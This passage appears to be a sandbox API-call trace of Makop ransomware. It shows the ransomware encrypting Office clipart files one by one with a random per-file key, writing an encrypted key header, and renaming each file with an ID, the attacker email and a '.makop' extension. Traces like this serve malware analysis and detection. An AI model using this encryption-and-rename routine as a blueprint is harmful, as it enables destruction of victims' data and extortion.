phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.956] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.956] GetProcessHeap () returned 0x48a0000 [0123.956] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.956] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.957] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.957] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.957] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.957] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.957] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.957] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.958] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.958] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.958] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x955d, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x955d, lpOverlapped=0x0) returned 1 [0123.960] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9560, dwBufLen=0x9560 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9560) returned 1 [0123.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.960] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9560, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9560, lpOverlapped=0x0) returned 1 [0123.961] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x9634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.961] SetEndOfFile (hFile=0xf0) returned 1 [0123.968] GetProcessHeap () returned 0x48a0000 [0123.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.968] GetProcessHeap () returned 0x48a0000 [0123.968] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.968] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.970] CloseHandle (hObject=0xf0) returned 1 [0123.970] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149018.JPG", cAlternateFileName="")) returned 1 [0123.971] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0123.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.973] GetProcessHeap () returned 0x48a0000 [0123.973] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.973] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.973] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.973] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0123.978] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.978] GetProcessHeap () returned 0x48a0000 [0123.978] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.978] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.978] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.978] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.978] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.978] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.979] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.979] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.979] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.979] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.979] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.979] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6b01, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6b01, lpOverlapped=0x0) returned 1 [0123.981] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6b10, dwBufLen=0x6b10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6b10) returned 1 [0123.981] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.981] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6b10, lpOverlapped=0x0) returned 1 [0123.982] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.982] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.982] SetEndOfFile (hFile=0xf0) returned 1 [0123.989] GetProcessHeap () returned 0x48a0000 [0123.989] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.989] GetProcessHeap () returned 0x48a0000 [0123.989] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.989] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.990] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.991] CloseHandle (hObject=0xf0) returned 1 [0123.991] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xfd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149118.JPG", cAlternateFileName="")) returned 1 [0123.991] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0123.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.994] GetProcessHeap () returned 0x48a0000 [0123.994] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.994] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.994] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.994] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0123.998] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.998] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.998] GetProcessHeap () returned 0x48a0000 [0123.998] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.998] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.999] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.999] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.999] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.999] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.999] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.999] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.000] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.000] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.000] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.000] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.000] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfd22, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xfd22, lpOverlapped=0x0) returned 1 [0124.002] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfd30, dwBufLen=0xfd30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfd30) returned 1 [0124.003] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xfd30, lpOverlapped=0x0) returned 1 [0124.004] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfe04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.004] SetEndOfFile (hFile=0xf0) returned 1 [0124.012] GetProcessHeap () returned 0x48a0000 [0124.012] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.012] GetProcessHeap () returned 0x48a0000 [0124.012] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.012] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.012] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.013] CloseHandle (hObject=0xf0) returned 1 [0124.014] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb544, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150150.WMF", cAlternateFileName="")) returned 1 [0124.014] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF") returned 63 [0124.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.015] GetProcessHeap () returned 0x48a0000 [0124.015] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.015] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0124.015] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0124.015] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0124.021] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.021] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.021] GetProcessHeap () returned 0x48a0000 [0124.021] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0124.021] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0124.021] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.022] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0124.022] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0124.022] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0124.022] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0124.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0124.022] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0124.023] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0124.023] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0124.023] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.023] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb544, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xb544, lpOverlapped=0x0) returned 1 [0124.025] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb550, dwBufLen=0xb550 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xb550) returned 1 [0124.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.026] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb550, lpOverlapped=0x0) returned 1 [0124.026] CryptDestroyKey (hKey=0x48c7128) returned 1 [0124.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.026] SetEndOfFile (hFile=0xf0) returned 1 [0124.035] GetProcessHeap () returned 0x48a0000 [0124.035] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0124.035] GetProcessHeap () returned 0x48a0000 [0124.035] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0124.036] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0124.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150150.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150150.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0124.037] CloseHandle (hObject=0xf0) returned 1 [0124.037] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x212e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0150861.WMF", cAlternateFileName="")) returned 1 [0124.037] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF") returned 63 [0124.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0124.038] GetProcessHeap () returned 0x48a0000 [0124.038] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0124.038] CryptGenRandom (in: 